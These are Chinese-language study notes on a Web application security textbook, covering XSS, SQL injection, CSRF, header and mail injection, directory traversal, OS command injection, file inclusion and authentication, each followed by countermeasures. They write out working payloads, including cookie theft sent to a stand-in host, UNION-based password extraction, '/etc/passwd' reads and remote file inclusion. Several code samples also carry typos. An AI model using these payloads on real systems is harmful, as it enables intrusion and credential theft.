第1章 什么是Web应用的安全隐患
第2章 搭建试验环境
邮件发送服务器Postfix
POP3服务器Dovecot
SSH服务器OpenSSH
Web应用调试工具Fiddler
第3章 Web安全基础:HTTP回话管理、同源策略
Cookie与回话管理
要点:认证后改变回话ID
要点:原则上不设置Cookie的Domain属性
第4章 Web应用的各种安全隐患
4.1 Web应用的功能与安全隐患对应的关系
sql注入:
SELECT * FROMusers WHERE id=’$id’
$id写入: ‘;DELETE FROM users –
SELECT * FROMusers WHERE id=’ ‘;DELETE FROM users –’
隐患名 接口 恶意手段 数据部分边界
跨站脚本 HTML 注入JavaScript等 <”
HTTP消息头注入 HTTP 注入HTTP响应消息头 换行符
SQL注入 SQL 注入SQL命令 ‘
OS命令注入 Shell脚本 注入系统命令 ;|
邮件头注入 sendmail命令 注入或更改邮件头或正文 换行符
4.2 输入处理与安全性
检查字符编码:mb_check_encoding()
转换字符编码:php.ini mb_convert_encoding()
# 二进制安全与空字节攻击:
/42/42-002.php
<body>
<?php
$p = $_GET[‘p’];
if (ereg(‘^[0-9]+$’, $p) === FALSE {
die(‘请输入整数值’);
}
echo $p;
?>
</body>
http://example.jp/42/42-002.php?p=1%00<script>alert(‘XSS’)</script>
%00是空字节,由于ereg函数不是二进制安全的函数,因此,空字节会被视作字符串的结束。
# 使用正则表达式检验输入值
/42/42-010.php
<?php
$p = isset($_GET[‘p’]) ? $_GET[‘p’] : ‘’;
if(preg_match(‘/\A[a-z0-9]{1-5}\z/ui’, $p)== 0) {
die(‘请输入1-5个字符长度的字母或数字’);
}
?>
<body>
p的值为<?php echo htmlspecialchars($p, ENT_NOQUOTES, ‘UTF-8’); ?>
</body>
其中,/为正则表达式开始,\A为字符串的开头,[a-z0-9]匹配数字和字母,{1-5}1-5个字符,\z字符串结尾,/正则表达式结束,u字符编码为UTF-8,i不区分大小写。
^和$代表“行”的开头和结尾,$会匹配换行符%0a,所以当它们用于匹配数据的开头和结尾时就有可能产生bug。
/42/42-013.php
<?php
$addr = isset($_GET[‘addr’]) ?$_GET[‘addr’] : ‘’;
if(preg_match(‘/\A[[:^cntrl:]]{1,30}\z/u’,$addr) == 0) {
die(‘请输入长度小于30个字符的地址(必填项),不能使用换行或Tab等控制字符’);
}
?>
其中,POSIX字符集合[[:^cntrl:]]表示“非控制字符”
preg_match(‘/\A[\r\n\t[:^cntrl:]]{1,400}\z/u’,$comment)
其中,[\r\n\t[:^cntrl:]]表示禁止除换行和Tab以外的控制字符。
<?php
// 取得参数后校验并转换字符编码
// 同时执行了输入值校验的函数
// $key: GET参数名
// $pattern: 用于验证输入值的正则表达式
// $error: 验证输入值时的错误消息
// 返回值:取得的参数(string)
function getParam($key, $pattern, $error){
$val = isset($_GET[$key]) ?$_GET[$key] : ‘’;
//校验字符编码(Shift_JIS)
if(!mb_check_encoding($val,‘Shift_JIS’)) {
die(‘字符编码有误’);
}
// 转化字符编码(Shift_JIS ->UTF-8)
$val = mb_convert_encoding($val,‘UTF-8’, ‘Shift_JIS’);
if(preg_match($pattern, $val) == 0) {
die($error);
}
return $val;
}
// 调用函数
$name = getParam(‘name’,‘/\A[[:^cntrl:]]{1,20}\z/’, ‘请输入长度小于20个字符的姓名(必填,不能使用控制字符)’);
?>
<body>
姓名为<?php echo htmlspecialchars($name, ENT_NOQUOTES, ‘UTF-8’); ?>
</body>
4.3 页面显示相关的隐患
# XSS窃取Cookie值
/43/43-001.php
<?php
session_start();
// 登录校验(略)
?>
<body>
检索关键词:<?php echo $_GET[‘keyword’]; ?><br>
以下略
</body>
正常检索:http://example.jp/43/43-001.php?keyword=Haskell
攻击例子:http://example.jp/43/43-001.php?keyword=<script>alert(document.cookie)</script>
# 使用被动攻击盗取他人的Cookie值
/43/43-900.html
<html><body>
恶意网站<br><br>
<iframe src=http://example.jp/43/43-001.php?keyword=<script>window.location=’http://trap.example.com/43/43-901.php?sid=’%2Bdocument.cookie;</script></iframe>
</body></html>
/43/43-901.php
<?php
mb_language(‘Japanese’);
$sid = $_GET[‘sid’];
mb_send_mail(‘wasbook@example.jp’, ‘攻击成功’, ‘回话ID:’ . $sid, ‘From: cracked@trap.example.com’);
?>
<body>攻击成功<br>
<?php echo $sid; ?>
</body>
# 没有用引号括起来的属性值的XSS
/43/43-003.php
<body>
<input type=text name=mailvalue=<?php echo $_GET[‘p’]; ?>>
</body>
注入:1+mouseover%3dalert(document.cookie)
其中:+代表空格,%3d代表=
结果为:<input type=text name=mail value=1 οnmοuseοver=alert(document.cookie)>
# 用引号括起来的属性值的XSS
/43/43-004.php
<body>
<input type=”text” name=”mail”value=”<?php echo $_GET[‘p’]; ?>”>
</body>
注入:”+onmouseover%3d”alert(document.cookie)
结果为:<input type=”text” name=”mail” value=””οnmοuseοver=”alert(document.cookie)” >
# HTML中最低限度的防范策略如下:
元素内容中转义<和&
属性值用双引号括起来,并转义< ”和&
php中用htmlspecialchars函数进行转义。
# 明确设置HTTP响应的字符编码
header(‘Content-Type:text/html; charset=UTF-8’);
# 输入校验
# 给Cookie添加HttpOnly属性
# 关闭TRACE方法
# href属性与src属性的XSS
/43/43-010.php
<body>
<a href=”<?php echo htmlspecialchars($_GET[‘url’]);?>书签</a>
</body>
攻击:
http://example.jp/43/43-010.php?url=javascript:alert(document.cookie)
结果为:
<body>
<a href=”javascript:alert(document.cookie)”>书签</a>
</body>
# 校验网址链接,URL需满足以http:、https:或/开头
functioncheck_url($url) {
if(preg_match(‘/\Ahttp:/’, $url) ||preg_match(‘/\Ahttps:/’, $url) || preg_match(‘#\A/#’, $url)) {
return true;
} else {
return false;
}
}
# 事件绑定函数的XSS
/43/43-012.php
<head><script>
function init(a) {} // 空函数
</script></head>
<bodyοnlοad=”init(‘<?php echo htmlspecialchars($_GET[‘name’], ENT_QUOTES)?>’)”>
</body>
注入:
name=’);alert(document.cookie)//
结果为:
<body οnlοad=”init(‘');alert(document.cookie)//’)”>
执行时:
init(‘’);alert(document.cookie)//’)
对策:将JavaScript字符串字面量中\ ‘ “ 换行进行转义
Script元素的XSS
/43/43-013.php
<?php
function escape_js($s) {
return mb_ereg_replace(‘([\\\\\’”])’,‘\\\1’, $s);
}
?>
<body>
<script src=”jquery-1.4.4.min.js”></script>
你好,<span id=”name”></span>
<script>
$(‘#name’).text(‘<?php echoescape_js($_GET[‘name’]); ?>’);
</script>
</body>
注入:
</script><script>alert(document.cookie)//
# 对策:Unicode转义
/43/escape_js_string.php
<?php
// 将字符串全部转义为\uXXXX形式
function unicode_escape($matches) {
$u16 =mb_convert_encoding($matches[0], ‘UTF-16’);
return preg_replace(‘/[0-9a-f]{4}/’,‘\u$0’, bin2hex($u16));
}
// 将除了字母、数字、逗号和点号外的字符转义为\uXXXX形式
function escape_js_string($s) {
return preg_replace_callback(‘/[^-\.0-9a-zA-Z]+/u’,‘unicode_escape’, $s);
}
?>
调用例:
<script>
alert(‘<?php echo escape_js_string(‘吉and吉’); ?>’);
</script>
生成结果:
<script>
alert(‘\ud842\udfb7and\u5409’);
</script>
#DOM based XSS
/43/43-011.html
<body>
你好
<script type=”text/javascript”>
dcument.URL.match(/name=([^&]*)/);// 取出查询字符串中name的值
document.write(unescape(RegExp.$1));// 将取出的值显示在页面上
</script>
</body>
注入:
http://example.jp/43/43-011.html?name=<script>alert(document.cookie)</script>
# 对策:使用jQuery中text方法进行转义
/43/43-011a.html
<body>
<scriptsrc=”jquery-1.4.4.min.js”></script> // 加载jQuery
你好<span id=”name”></span>
<script type=”text/javascript”>
if(document.URL.match(/name\=([^&]*)/)){
var name = unescape(RegExp.$1);
$(‘#name’).text(name);
}
</script>
</body>
4.4 SQL调用相关的安全隐患
# SQL错误消息导致的信息泄漏
正常查询:
http://example.jp/44/44-001.php?author=Shakespeare
注入:
http://example.jp/44/44-001.php?author=’+and+cast((select+id||’:’||pwd+from+users+offset+0+limit+1)+as+integer)>1--
#UNION SELECT导致信息泄漏
注入:
http://example.jp/44/44-001.php?author=’+union+select+id,pwd,name,addr,null,null,null+from+users--
# 使用SQL注入绕过认证
密码中输入:
‘ or ‘a’=’a
结果为:
SELECT * FROMusers WHERE id = ’yamada’ and pwd = ‘’ OR ‘a’=’a’
其中WHERE语句始终成立
# 通过SQL注入攻击篡改数据
注入:
http://example.jp/44/44-001.php?author=’;update+books+set+title%3D’<i>cracked!</i>’+where+id%3d’1001’--
结果为:
SELECT * FROMbooks WHERE author = ‘’;update books set title = ‘<i>cracked!</i>’where id=’1001’--’ORDER BY id
# 通过SQL注入读取文件
http://example.jp/44/44-001.php?author=’;copy+books(title)+from+’/etc/passwd’--
结果为:
copybooks(title) from ‘/etc/passwd’
# 数据库中表名和列名的获取方法
http://example.jp/44/44-001.php?author=’+union+select+table_name,column_name,data_type,null,null,null,null+from+information_schema.columns+order+by+1--
# 对策使用占位符拼接SQL语句
/44/44-004.php
<?php
require_once ‘MDB2.php’;
header(‘Content-Type: text/html;charset=UTF-8’);
$author = $_GET[‘author’];
//连接数据库时指定字符编码为UTF-8
$mdb2 = MDB2:connect(‘pgsql://wasbook:wasbook@localhost/wasbook?charset=utf8’);
$sql = ‘SELECT * FROM books WHERE author =? ORDER BY id”;
//准备调用SQL,指定占位符类型
$stmt = $mdb2->prepare($sql,array(‘text’));
//执行SQL
$rs = $stmt->execute(array($author));
//显示省略
$mdb2->disconnect();
?>
4.5 关键处理中引入的安全隐患
# 跨站请求伪造(CSRF)
/45/45-001.php (登录脚本)
<?php
session_start();
$id = @$_GET[‘id’];
if(!$id) $id = ‘yamada’;
S_SESSION[‘id’] = $id;
?>
<body>
已登录(id:<?php echo htmlspecialchars($id, ENT_NOQUOTES, ‘UTF-8’);?>)<br>
<a href=”45-002.php”>更改密码</a>
</body>
/45/45-002.php (输入更改密码)
<?php
session_start();
// 确认登录
?>
<body>
<form action=”45/45-003.php”method=”POST”>
新密码
<input name=”pwd”type=”password”><br>
<input type=”submit” value=”更改密码”>
</form>
</body>
/45/45-003.php (执行更改密码)
<?php
function ex($s) {// 转义,防范XSS
echo htmlspecialchars($a, ENT_COMPAT,‘UTF-8’);
}
session_start();
$id = $_SESSION[‘id’];
// 确认登录
$pwd = $_POST[‘pwd’];
// 更改密码
?>
<body>
<?php ex($id); ?>密码已更改
</body>
/45/45-900.html(恶意网站)
<body οnlοad=”document.forms[0].submit()”>
<formaction=”http://example.jp/45/45-003.php” method=”POST”>
<input type=”hidden” name=”pwd”value=”cracked”>
</form>
</body>
# 防范CSRF攻击的对策:
1. 筛选出需要方法CSRF 攻击的页面。
2. 使代码有能力辨认是否是正规用户的自愿请求(嵌入机密信息-令牌、再次输入密码、检验Referer)。其中,令牌是最基本的防御策略,所有情况都可使用;再次输入密码适用于确认需求很强的页面,确认Referer适用于内网。
# CSRF的辅助性对策:
执行完关键处理后,向用户注册的邮箱发送相应处理信息。
4.6 不完善的会话管理
生成会话ID时可能会产生如下安全隐患:
1. 会话ID可预测
2. 会话ID嵌入URL
3. 固定会话ID
php.ini设置如下:
【Session]
session.entropy_file= /dev/urandom
session.entropy_length= 32
建议直接使用主流Web开发工具提供的会话管理机制
# 对策
# 认证后更改会话ID
/463/46-011a.php
<?php
session_start();
$id = $_POST[‘id’]
session_regenerate_id(true); // 更改会话ID
$_SESSION[‘id’] = $id; // 将用户名保存至会话
?>
<body>
<?php echo htmlspecialchars($id,ENT_COMPAT, ‘UTF-8’); ?>登录成功<br>
<a href=”46-012.php”>个人信息</a>
</body>
# 无法更改会话ID时采用令牌
/453/45-015.php(生成令牌)
<?php
// 通过/dev/urandom实现伪随机数生成器
function getToken() {
$s =file_get_contents(‘/dev/urandom’, false, NULL, 0, 24);
return base64_encode($s);
}
session_start();
$token = getToken(); // 生成令牌
setcookie(‘token’, $token);
$_SESSION[‘token’] = $token;
?>
/463/46-016.php(确认令牌)
<?php
session_start();
// 确认用户名
$token = $_COOKIE[‘token’];
if(!$token || $token !=$_SESSION[‘token’]) {
die(‘认证错误’);
}
?>
<body> 认证成功</body>
4.7 重定向相关的安全隐患
# 自由重定向漏洞
#对策
1. 固定重定向的目标URL。(推荐)
2. 使用编号指定重定向的目标URL。(推荐)
3. 校验重定向的目标域名。
if(mb_ereg(‘\Ahttps?://example\.jp/[-_.!~*\’();\/?:@&=+\$,%#a-zA-Z0-9]*\z’,$url)) {
// 校验通过
}
4. 跳转到外部域名的网站前添加警告页面。(推荐)
# HTTP消息头注入
# 重定向至外部域名
http://example.jp/47/47-020.cgi?url=http://example.jp/%0D%0ALocation:+http://trap.example.com/47/47-900.php
换行符%0D%0A使得CGI输出了两行Location消息。
# 生成任意Cookie
http://example.jp/47/47-020.cgi?url=http://example.jp/47/47-003.php%0D%0ASet-Cookie:+SESSION=ABCD123
# 显示伪造页面
http://example.jp/47/47-020.cgi?pageid=P%0D%0A%e2%97%8b%e2%97%8b%e9%8a%80%e8%a1%8c%e3%81%af%e7%94%a3%81%97%e3%81%be%e3%81%97%e3%81%9f
Set-Cookie消息头后连续输出两个换行符时,后面的数据就会被视为消息体。
# 对策
1. 最可靠的对策是不将外界传入的参数作为HTTP响应消息头输出。
不直接使用URL指定重定向目标,而是将其固定或通过编号等方式来指定。
使用Web应用开发工具中提供的会话变量来移交URL。
2. 由专门的API来进行重定向或生成Cooke,并且校验生成消息头的参数中的换行符。
URL中含有换行符时就报错。
将Cookie中的换行符进行百分号编码。
/47/47-030.php
<?php
function redirect($url) { // 定义重定向函数
if(!mb_ereg(“\\A[-_.!~*’();\\/?:@&=+\\$,%#a-zA-Z0-9]+\\z”,$url)) {
die(‘Bad URL’); // URL中包含非法字符时就报错并中止处理
}
header(‘Location: ‘ . $url);
}
// 调用示例
$url = isset($_GET[‘url’]) ? $_GET[‘url’]: ‘’;
redirect($url);
?>
4.8 Cookie输出相关的安全隐患
# Cookie的用途不当
最好不要在Cookie中保存数据
# Cookie的安全属性设置不完善
1. 给Cookie设置安全属性
session.cookie_secure= On // php.ini中
2. 使用令牌的对策
/48/48-001.php (生成带有安全属性的令牌Cookie)
<?php
function getToken() { // 通过/dev/urandom实现伪随机数生成器
$s =file_get_contents(‘/dev/urandom’, false, NULL, 0, 24);
return base64_encode($s);
}
// 通过认证
session_start();
session_regenerate_id(true); // 重新生成会话ID
$token = getToken(); // 生成令牌
setcookie(‘token’, $token, 0, ‘’, ‘’,true, ture);
$_SESSION[‘token’] = $token;
?>
/48/48-002.php (检验令牌值)
<?php
session_start();
// 确认用户名
$token = $_COOKIE[‘token’];
if(!$token || $token !=$_SESSION[‘token’]) {
die(‘认证错误,令牌值错误’);
}
?>
<body>检验令牌,确认通过认证。</body>
# 除安全属性外,Cookie的其他属性设置
1. Domain属性的默认状态是最安全的,所以最好不要指定Domain属性。
2. 即使指定了Path属性也不会提高安全性,因为JavaScript的同源策略是以域名为单位的,而不是以路径为单位的。
3. 若不指定Expires属性,浏览器被关闭的同时Cookie也会被删除。
4. 建议设置HttpOnly属性,这有助于减轻跨站脚本攻击,但这不是根本的防范策略。
4.8 发送邮件的问题
# 邮件头注入
/49/49-001.html(用来发送邮件的表单)
<body>
咨询发送表单<br>
<form action=”49-002.php”method=”POST”>
邮箱地址:<input type=”text” name=”from”><br>
正文:<textarea name=”body”></textarea>
<input type=”submit” value=”发送”>
</form>
</body>
/49/49-002.php (接收表单,执行邮件发送)
<?php
$from = $_POST[‘from’];
$body = $_POST[‘body’];
mb_language(‘Japanese’);
mb_send_mail(“wasbook@example.jp”, “收到咨询信件”, “收到了以下用户发来的咨询,请进行处理。\n\n” . $body, “From: “ . $from); // 参数分别为收件人地址,标题,正文,附加邮件头。
?>
<body>
邮件发送成功
</body>
# 攻击方式1:添加收件人
/49/49-900.html(攻击表单)
<formaction=”http://example.jp/49/49-002.php” method=”POST”>
邮箱地址:<textarea name=”from” rows=”4” cols=”30”></textarea>
…
</form>
邮箱地址中输入:
trap@trap.example.com
Bcc:bob@example.com
其中Bcc为密送方式。
# 攻击方式2:篡改正文
邮箱地址中插入一个空行就能书写邮件正文
trap@trap.example.com
Bcc:bob@example.com
Super discountPCs 80% OFF! http://trap.example.com/
# 通过邮件头注入添加附件
# 对策
1. 使用专门的程序库来发送邮件
2. 不将外界传入的参数包含在邮件头中
3. 发送邮件时确保外界传入的参数中不包含换行符
4. 校验邮箱地址和校验标题
if(preg_match(‘/\A[[:^cntrl:]]{1,60}\z/u’,$subject) == 0 { // 校验标题,不包含控制字符且字符数限制为60以内
die(‘请输入长度为1-6-字符的标题’);
}
4.10 文件处理相关的问题
# 目录遍历漏洞
/4a/4a-001.php// 使用template=的形式来指定页面模板文件
<?php
define(‘TMPLDIR’, ‘/var/www/4a/tmpl/’);
$tmpl = $_GET[‘template’];
?>
<body>
<?php readfile(TMPLDIR . $tmpl .‘.html’); ?>
</body>
# 目录遍历
http://example.jp/4a/4a-001.php?template=../../../../etc/host%00
其中%00为空字节,表示字符串结束,结果读取/etc/hosts文件
# 对策:
1. 避免由外界指定文件名
将文件名固定
将文件名保存在会话变量中
不直接指定文件名,而是使用编号等方法间接指定
2. 文件名中不允许包含目录名
/4a/4a-001b.php
<?php
define(‘TMPLDIR’, ‘/var/www/4a/tmpl/’);
$tmpl = basename($_GET[‘template’]); //basename(‘../../../../ect/hosts’)返回结果为hosts
?>
3. 限定文件名中仅包含字母和数字
/4a/4a-001c.php
if(!preg_match(‘/\A[a-z0-9]+\z/ui’,$tmpl)) {
die(‘template仅能包含字母或数字’);
}
# 内部文件被公开
# 对策
1. 设计应用程序时,决定存放文件的安全场所
2. 组用服务器时确认能够使用非公开的目录
3. 将目录列表功能设为无效。
# 调用OS命令引起的安全隐患
# 调用sendmail命令发送邮件
/4b/4b-001.html(填写反馈信息的表单)
<body>
<form action=”4b-002.php”method=”POST”>
请输入您的问题<br>
邮箱地址<input type=”text” name=”mail”><br>
提问<textarea name=”inqu” cols=”20”rows=”3”></textarea><br>
<input type=”submit” value=”发送”>
</form>
</body>
/4b/4b-002.php (接收反馈发送邮件)
<?php
$mail = $_POST[‘mail’];
system(“/usr/sbin/sendmail -i<template.txt $mail”);
?>
<body>
提问已受理
</body>
/4b/template.txt(邮件信息)
From: webmaster@example.jp
Subject:=?UTF-8?B?5Y+X44GR5LuY44GR44G+44GX44Gf?=
Content-Type:text/plain; charset=”UTF-8”
Content-Transfer-Encoding:8bit
提问已受理
# OS命令注入:
在表单邮箱地址填入:bob@example.jp;cat /etc/passwd
结果将显示/etc/passwd的内容
# 对策
(1). 选择不调用OS命令的实现方法
(2). 避免使用内部调用Shell的函数
(3). 不将外部输入的字符串传递给命令行参数
/4b/4b-002c.php
<?php
$mail = $_POST[‘mail’];
$h = popen(‘/usr/sbin/sendmail -t -i’,‘w’);
if($h === FALSE) {
die(‘服务器繁忙’);
}
fwrite($h, <<<EndOfMail
To: $mail
From: webmaster@example.jp
Subject:=?UTF-8?B?5Y+X44GR5LuY44GR44G+44GX44Gf?=
Content-Type:text/plain; charset=”UTF-8”
Content-Transfer-Encoding:8bit
提问已受理
EndOfMail
);
pclose($h);
?>
<body>
提问已受理
</body>
(4). 使用安全的函数对传递给OS命令的参数进行转义
system(‘/usr/sbin/sendmail<template.txt ’ . escapeshellarg($mail));
(5). OS命令注入攻击的辅助性对策
校验参数
将运行应用的权限设为所需的最低权限
给Web服务器上的OS或中间件更新安全补丁
4.12 文件上传相关的问题
# 针对上传功能的DoS攻击
使用上传功能连续发送体积巨大的文件时,就可能形成使网站负荷过载的DoS攻击(Denial ofService Attack, 拒绝服务攻击)
# 使上传的文件在服务器上作为脚本执行
攻击者上传attack.php,attack.php被保存在公开目录,攻击者调用attack.php,攻击脚本被执行。
# 对策
将上传文件不保存在公开目录,下载文件时经过脚本下载。
/4c/4c-002a.php(文件上传)
/4c/4c-002a.php(get_upload_file_name的定义)
/4c/4c-003.php (文件下载脚本)
# 诱使用户下载恶意文件
攻击者上传attack.pdf,用户下载attack.pdf,用户感染病毒。
# 文件下载引起的跨站脚本
# 图像文件引起的XSS
# PDF下载引起的XSS
/4c-902.pdf
<script>alert(‘XSS’);</script>
上传成功后,将下载链接http://example.jp/4c/4c-013.php?file=1af12536.pdf改为http://example.jp/4c/4c-013.php/a.html?file=1af12536.pdf,就会执行script代码。
# 对策
文件上传时的对策
校验扩展名是否在允许范围内
图像文件的情况下确认其文件头
/4c/4c-002b.php(check_image_type函数的定义)
// functioncheck_image_type($imgfile, %tofile)
// $imgfile: 校验对象的图像文件名
// $tofile: 文件名(用于校验扩展名)
functioncheck_image_type($imgfile, $tofile) {
// 取得并校验扩展名
$info = pathinfo($tofile);
$ext = strtolower($info[‘extension’]); // 扩展名(小写)
if($ext != ‘png’ && ext != ‘jpg’&& $ext != ‘gif’) {
die(‘只能上传扩展名为gif、jpg或png的图像文件’);
}
// 取得图像类型
$imginfo = getimagesize($imgfile); // 取得图像信息的数组
$type = $imginfo[2]; // 取出图像类型
// 如果是正常组合就return
if($ext == ‘gif’ && $type ==IMAGETYPE_GIF)
return true;
if($ext == ‘jpg’ && $type ==IMAGETYPE_JPEG)
return true;
if($ext == ‘png’ && $type ==IMAGETYPE_PNG)
return true;
// 最后将报错
die(‘扩展名和图像类型不一致’);
}
/4c/4c-002b.php(调用check_image_type)
$tmpfile =$_FILE[“imgfile”][“tmp_name”];
$orgfile =$_FILE[“imgfile”][“name”];
if(!is_uploaded_file($tmpfile)){
die(‘文件没有上传’);
}
// 校验图像
check_image_type($tmpfile,$orgfile);
文件下载时的对策:
正确设置Content_Type
图像文件的情况下确认其文件头
必要时设置Content-Disposition消息头
4.13 Include相关问题
# 文件包含引发的信息泄漏
/4d/4d-001.php
<body>
<?php
$header = $_GET[‘header’];
require_once($header . ‘.php’);
?>
正文
</body>
spring.php
已经是春天了<br>
正常情况:
http://example.jp/4d/4d-001.php?header=spring
攻击情况:
http://example.jp/4d/4d-001.php?header=../../../../etc/hosts%00
# 执行脚本1:远程文件包含攻击(RFI)
http://trap.example.com/4d/4d-900.txt
<?phpphpinfo(); ?>
攻击情况:
http://example.jp/4d/4d-001.php?header=http://trap.example.com/4d/4d-900.txt?
# 执行脚本2:恶意使用保存回话信息的文件
# 对策
避免由外界指定文件名
避免文件名中包含目录名
限制文件名仅包含字母和数字
将RFI功能禁止,allow_url_include= Off
4.14 eval相关的问题
# eval注入
# 对策
不使用eval或与eval相当的功能
避免eval的参数中包含外界传入的参数
限制外界传入eval的参数中只包含字母和数字
4.15 共享资源相关的问题
# 竞态条件漏洞
# 对策
避免使用共享资源(使用局部变量)
使用互斥锁(但建议尽量不要使用)
第5章 典型安全功能
5.1 认证
登录功能SQL语句:
SELECT * FROMusermaster WHERE id=? AND password=?
# 严格的密码检查原则
关于字符种类的检查(字母、数字、符号)
关于密码位数(至少8位)
禁止使用和用户ID一样的密码
禁止使用密码词典里有的词汇做密码
# 针对暴力破解的对策
# 账号锁定
记录每个用户ID的密码连续错误次数
如果密码错误次数超过一定上限,则锁定此账号
账号被锁定后,通过电子邮件等方式通知该用户和系统管理员
用户正常登陆后,清除之前记录的密码错误计数器
错误上限10次,锁定后,再经过30分钟后自动解锁
# 隐藏登陆ID
# 监视登陆失败率
发生密码暴力破解攻击时,登录失败率一般都会激增,所以定时检测登陆失败率,管理员就可以在失败率激增的时候调查原因,采取封掉远程IP等措施。
# 利用信息摘要保护密码
#威胁1:离线暴力破解
#威胁2:彩虹破解
#威胁3:在用户数据库里创建密码字典
#对策1:salt(加盐)
salt和密码加起来的长度至少要保证20位以上
使用以用户ID为输入参数的函数来生成salt
#对策2:stretching(延展计算)
通过反复递归的调用散列函数来增加计算时间
/51/51-001.php (计算散列值示例)
<?php
// FIXEDSALT要根据实际情况进行修改
define(‘FIXEDSALT’, ‘bc5781503b4602a590d8f8ce4a8e634a55bec0d’);
define(‘STRETCHCOUNT’, 1000);
// 生成salt
function get_salt($id) {
return $id . pack(‘H*’, FIXEDSALT);
}
function get_password_hash($id, $pwd) {
$salt = get_salt($id);
$hash = ‘’; // 默认的散列值
for($i = 0; $i < STRETCHCOUNT;$i++) {
$hash = hash(‘sha256’, $hash .$pwd . $salt); // stretching
}
return $hash;
}
// 调用示例
var_dump(get_password_hash(‘user1’, ‘pass1’));
?>
# 自动登录
# 安全的自动登录实现方式
1, 延长回话有效期
php.ini中设置:
session.gc_probability= 1
session.gc_divisor= 1000
session.gc_maxlifetime= 604800 //一周,7*24*60*60
/51/51-002.php (验证通过后设置登录信息)
<?php
// 假设用户密码验证通过
$autologin = @$_GET[‘autologin’] == ‘on’;
$timeout = 30 * 60; // 回话有效期默认设为30分钟
if($autologin) { // 自动登录的场景
$timeout = 7 * 24 * 60 * 60; // 回话有效期设为一周
session_set_cookie_params($timeout);// 设置Cookie的Expires属性
}
session_start();
session_regenerate_id(ture); // 固定会话ID对策,重新生成会话ID
$_SESSION[‘id’] = $id; // 登录中的用户ID
$_SESSION[‘timeout’] = $timeout; // 超时时间(时长)
$_SESSION[‘expires’] = time() + $timeout;// 超时时间(时刻)
?>
<body>
login successful<a href=”51-003.php”>next</a>
</body>
/51/51-003.php (判断用户是否处于登录状态)
<?php
session_start();
function islogin() {
if(!isset($_SESSION[‘id’])) { // 还没设置id时
return false; // 没有登录
}
if($_SESSION[‘expires’] < time()){ // 该会话已经超时
$_SESSION = array(); // 取消$_SESSION变量
session_destroy(); // 放弃会话(退出登录)
return false;
}
// 更新超时时刻
$_SESSION[‘expires’] = time() +$_SESSION[‘timeout’];
returnture; // 用户处于登录状态
}
if(islogin()) {
// 用户登录中的处理内容(略)
}
?>
2, 使用令牌(Token)
代码清单:自动登录令牌创建过程(伪代码)
functionset_auth_token($id, $expires) {
do {
$token = 随机数;
准备查询(‘insert into autologin values(?, ?, ?)’);
执行查询($token, $id, $expires);
if(查询成功)
return $token;
} while(数据重复错误);
die(‘访问数据库错误’);
}
$timeout = 7 *24 * 60 * 60; // 认证有效期(一周)
$expires =time() + $timeout; // 认证有效期
$token =set_auth_token($id, $expires); // 设置令牌
setcookie(‘token’,$token, $expires); // 将令牌保存到Cookie
代码清单:判断用户的登录状态和执行自动登录(伪代码)
functioncheck_auth_token($token) {
准备查询(‘select * from autologin where token = ?’);
执行查询($token);
取得$id和有效期;
if(不存在相应记录)
return false;
if(有效期 < 现在时刻) {
放弃旧认证令牌;
return false;
}
return $id;
}
functionislogin($token)
if(回话中是否有认证信息)
return 认证成功; // 用户已经是登录中状态了
// 从下面开始是回话已经超时,开始自动登录处理
$id = check_auth_token($token);
if($id !== false) {
将认证信息放到回话
放弃旧认证令牌
设置新的认证令牌,及新的有效时间
return 认证成功;
}
return 认证失败;
}
// 需要编写批处理程序来定期从数据库删除已经过期的认证令牌记录
代码清单:退出登录处理(伪代码)
$_SESSION = array();// 销毁$_SESSION变量
session_destroy();// 销毁回话(退出登录)
//根据用户ID删除该用户所有自动登录数据
准备删除语句(‘delete from autologin where id=?’);
执行删除语句($id);
# 登录表单
密码输入框需要掩码显示,但可以提供显示字符选项
如果应用需要使用https的话,从登录表单显示页面开始就应该使用https
# 如何显示错误消息
下面两个错误消息对安全都是不利的:
“指定的用户不存在”
“密码不正确”
推荐下面的错误消息:
“ID或密码错误,账号已被锁定”
“账号锁定时将发送邮件通知账号所有者,如果有什么疑问,请查看邮件内容进行确认”
#退出登录
退出登录需要做的事:
退出登录处理有副作用,所以用POST提交退出登录请求
在退出登录处理中销毁回话对象
根据需要选择是否加入CSRF处理
/51/51-011.php (退出登录表单)
// 假设已执行session_start();
<form action=’51-012.php”method=”POST”>
<-- 下面是防止CSRF的令牌 -->
<input type=”hidden” name=”token”value=”<?php echo htmlspecialchars(session_id()); ?>”>
<input type=”submit” value=”退出登录”>
</form>
/51/51-012.php//执行退出登录
<?php
$token = $_POST[‘token’];
session_start();
//进行令牌验证
if($token != session_id()) {
die(‘点击退出登录按钮退出’);
}
//清空$_SESSION变量
$_SESSION = array();
//销毁session
session_destroy();
?>
3, 使用认证票(Ticket)
5.2 账号管理
#用户注册
#邮箱地址确认
将带有令牌的URL通过邮件发送到用户邮箱,用户在收到邮件点击URL后进行后续操作。(方法A)
用户输入邮箱地址后,转向令牌确认页面,令牌则通过邮件发送到用户输入的电子邮箱地址。(方法B)
#防止用户ID重复
在数据库的定义上把表示用户ID的那一列加上唯一约束。
#应对自动用户注册
利用CAPTCHA(验证码)防止自动注册
# 修改密码
确认当前密码
修改密码后向用户发送邮件通知
#修改邮箱地址
对新邮箱地址进行书信确认
再认证
邮件通知新旧两个地址
#密码找回
面向管理员的密码找回功能
面向用户的密码找回功能
对用户进行身份确认:
通过向注册的邮箱地址发送邮件确认用户的合法性
如何发送密码通知:
通过邮件发送临时密码
直接转向修改密码页面,将令牌(验证码)发送给注册邮箱,进行令牌验证
即使用户输入的邮箱不存在也不显示错误信息,仍然显示令牌确认页面,以防止有人通过观察输入不存在邮箱地址后的页面来判断该邮箱是否已经注册
针对令牌(验证码)暴力破解,可以考虑验证码错误次数或密码重置次数超过一定值后将账户冻结。
#账户冻结
#账号删除
需密码确认
5.3 授权
创建权限矩阵表
以一人一个ID的原则为每个用户(包括系统管理员)创建ID,并根据每人的职责不同分配不同的角色(系统管理员,公司管理员,普通用户等)。
在任何操作之前都应该进行如下检查:
用户是否可以访问该页面(脚本)
是否有操作(查看、修改、删除等)该资源的权限
用户信息应该保存在回话变量里
根据保存在回话里的用户ID检查权限
权限信息不能保存在Cookie或hidden参数里,更不能保存在URL里
5.4 日志输出
#日志输出目的
通过日志发现被攻击或者事故的先兆,可以防患未然
用户在遭受攻击或者发生事故后进行事后调查
用于进行应用程序的运维审查
(如日志里记录的尝试登陆或者登陆失败的次数比平时多的话,则很可能受到了外部攻击)
#日志种类
错误日志
访问日志(正常访问和异常访问都应该记录下来)
调试日志
#需要记录到日志里的事件:
